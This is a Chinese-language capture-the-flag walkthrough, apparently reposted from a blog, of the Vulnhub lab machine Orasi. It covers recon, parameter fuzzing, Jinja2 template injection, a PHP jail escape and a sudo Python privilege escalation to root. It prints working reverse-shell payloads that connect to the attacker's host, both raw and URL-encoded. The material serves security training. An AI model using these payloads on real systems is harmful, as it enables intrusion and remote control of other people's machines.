Vulnhub靶机 - Orasi | 红队打靶
2023-5-12 09:3:35 Author: 0x00实验室(查看原文) 阅读量:12 收藏

学习参考:https://www.bilibili.com/video/BV1M24y1F79Z

官方文档:https://www.vulnhub.com/entry/orasi-1,660/ 

虚拟环境:Virtual box攻击机:kali2023   192.168.64.5靶场:orasi  192.168.64.4

1,检索靶机地址

nmap -sn 192.168.64.0/24

2,查看靶机存在的漏洞

nmap -p- -sV -A 192.168.64.4

开放了2122805000端口

321端口探测

21允许匿名用户访问

进入看一下

 

进入pub

Get url

File url

发现是64为可执行文件

Styrings url

看不出来啥

4,反汇编url

objdump -d url

反汇编一下url

可以得到库文件和函数,找一下main函数

Main函数调用了很多次insert

insert传的值拼在一起

0x2f 0x73 0x68 0x34 0x64 0x30 0x77 0x24 0x73

得到:/sh4d0w$s

结合刚才的url,可能这是一个隐藏的url

5,查看80端口

看不明白啥意思

试着将上面/sh4d0w$s拼接在http://192.168.64.4/后面

发现404

6,查看5000端口

http://192.168.64.4:5000/ 

发现404

带上刚才的隐藏路径

http://192.168.64.4:5000/sh4d0w$s

有东西,提示没有输入

7,使用ffuf工具找参数

说明可以传参,进行枚举,使用ffuf工具

ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.64.4:5000/sh4d0w$s?FUZZ=/etc/passwd' -fs 0

发现很多size:8,过滤掉8

ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.64.4:5000/sh4d0w$s?FUZZ=/etc/passwd' -fs 0,8

找参数

8,crunch生成密码字典

生成密码字典

更换字典重新进行参数寻找

找到参数:l333tt

尝试一,发现输入什么输出什么

http://192.168.64.4:5000/sh4d0w$s?l333tt=abc 

9,看一下有没有服务端模板注入

使用双层花括号判断

如果输出8*9就是没有注入

如果输出72就是有注入

Python存在服务端模板注入多是用了jinjia的组件

Github搜:ssti exp

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.64.5\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read()}}{%endif%}{% endfor %}

开启监听

nc -nlvp 4444

浏览器拼接输入

发现地址一直在加载

http://192.168.64.4:5000/sh4d0w$s?l333tt={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%22python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\%22192.168.64.5\%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([\%22/bin/bash\%22,%20\%22-i\%22]);%27%22).read()}}{%endif%}{%%20endfor%20%} 

Shell推(反弹)过来了

10,进入了bash

改一下交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

发现了两个用户

发现有没有su权限的命令,发现没有

使用linpeas脚本

看哟没有sudo权限

发现kori用户可以运行php脚本

Cat一下

cat /home/kori/jail.php

有个函数,禁用了nc,bash

11,kori账户

sudo -u kori /bin/php /home/kori/jail.php python

输入下面的代码

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.64.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Sudo -l发现下面有个cp操作

启动的web服务,不用管

进入到irida.apk目录

启用http服务

Python3 -m http.server

irida.apk拿到本地

wget http://192.168.64.4:8000/irida.apk

使用反汇编工具:jadx-gui

通过jadx-gui工具分析,发现

试着用irida用户登录,发现不对

11,忽略的信息‘

根据题目

最后一个密码进入了

发现可以以root用户运行python

sudo /usr/bin/python3 /root/oras.py

先把十六进制转化为string,再执行string

如果想执行bash

需要把bash变为十六进制

就会把十六进制的bash转化为bash,再执行

Python调bash

得到十六进制的bash

b'import os;os.system("/bin/bash")'.hex()

696d706f7274206f733b6f732e73797374656d28222f62696e2f626173682229

11,进入root

 

已经进入到了root

拿到权限


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489292&idx=1&sn=eb49e01dd18799768b7f3e30bec1b0a5&chksm=cfd868f3f8afe1e50f3f45a73acb851908897e25542ee73cef8ce5ab634c38f3da361d8f913c#rd
如有侵权请联系:admin#unsafe.sh